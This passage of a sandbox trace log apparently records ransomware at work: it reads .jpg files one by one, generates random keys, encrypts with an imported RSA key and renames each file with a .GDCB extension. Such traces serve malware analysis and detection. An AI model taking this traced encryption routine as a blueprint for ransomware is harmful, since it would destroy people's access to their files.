data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a2e35824.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a2e35824.jpg.gdcb")) returned 0 [0193.003] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.006] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.006] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.008] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.009] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.009] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.009] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.009] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.012] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035350) returned 1 [0193.012] CryptGetKeyParam (in: hKey=0x5035350, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.012] CryptEncrypt (in: hKey=0x5035350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.012] GetLastError () returned 0x0 [0193.012] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.012] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.015] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035710) returned 1 [0193.015] CryptGetKeyParam (in: hKey=0x5035710, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.015] CryptEncrypt (in: hKey=0x5035710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.015] GetLastError () returned 0x0 [0193.015] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.016] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cc2f5fc7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.018] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.019] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.021] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x2035, lpOverlapped=0x0) returned 1 [0193.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2040, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.051] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cc2f5fc7.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cc2f5fc7.jpg.gdcb")) returned 0 [0193.055] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0193.057] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.059] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.059] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.059] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.060] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.063] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.063] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.063] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.063] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.067] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035390) returned 1 [0193.067] CryptGetKeyParam (in: hKey=0x5035390, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.067] CryptEncrypt (in: hKey=0x5035390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.068] GetLastError () returned 0x0 [0193.068] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.068] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.070] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035610) returned 1 [0193.070] CryptGetKeyParam (in: hKey=0x5035610, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.070] CryptEncrypt (in: hKey=0x5035610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.071] GetLastError () returned 0x0 [0193.071] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.071] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cf6a15d.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.073] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.074] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.075] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1407, lpOverlapped=0x0) returned 1 [0193.084] VirtualAlloc (lpAddress=0x0, dwSize=0x1410, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.088] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cf6a15d.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cf6a15d.jpg.gdcb")) returned 0 [0193.092] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.095] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.095] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.095] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.095] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0193.096] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.097] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.097] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.097] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0193.099] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50353d0) returned 1 [0193.099] CryptGetKeyParam (in: hKey=0x50353d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.100] CryptEncrypt (in: hKey=0x50353d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.100] GetLastError () returned 0x0 [0193.100] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.100] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.102] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035490) returned 1 [0193.102] CryptGetKeyParam (in: hKey=0x5035490, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.102] CryptEncrypt (in: hKey=0x5035490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.102] GetLastError () returned 0x0 [0193.102] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.102] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\da8e59e.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.104] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.105] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.106] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x10c8, lpOverlapped=0x0) returned 1 [0193.125] VirtualAlloc (lpAddress=0x0, dwSize=0x10d0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.133] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\da8e59e.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\da8e59e.jpg.gdcb")) returned 0 [0193.137] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.139] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.140] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.140] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.140] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.142] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.142] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.142] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.143] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.145] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035510) returned 1 [0193.145] CryptGetKeyParam (in: hKey=0x5035510, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.145] CryptEncrypt (in: hKey=0x5035510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.145] GetLastError () returned 0x0 [0193.145] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.145] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.147] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035790) returned 1 [0193.147] CryptGetKeyParam (in: hKey=0x5035790, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.147] CryptEncrypt (in: hKey=0x5035790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.147] GetLastError () returned 0x0 [0193.147] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.147] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\eae01907.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\eae01907.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.149] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.151] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.151] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1a44, lpOverlapped=0x0) returned 1 [0193.160] VirtualAlloc (lpAddress=0x0, dwSize=0x1a50, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.164] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\eae01907.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\eae01907.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\eae01907.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\eae01907.jpg.gdcb")) returned 0 [0193.168] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.172] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.172] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.172] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.174] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.174] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.174] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.174] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.175] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.177] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50354d0) returned 1 [0193.177] CryptGetKeyParam (in: hKey=0x50354d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.177] CryptEncrypt (in: hKey=0x50354d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.177] GetLastError () returned 0x0 [0193.177] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.177] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0193.179] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035450) returned 1 [0193.179] CryptGetKeyParam (in: hKey=0x5035450, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.179] CryptEncrypt (in: hKey=0x5035450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.179] GetLastError () returned 0x0 [0193.179] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.179] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f466753.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.181] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.183] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.184] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x163f, lpOverlapped=0x0) returned 1 [0193.207] VirtualAlloc (lpAddress=0x0, dwSize=0x1640, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.212] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f466753.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f466753.jpg.gdcb")) returned 0 [0193.217] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.218] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.219] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 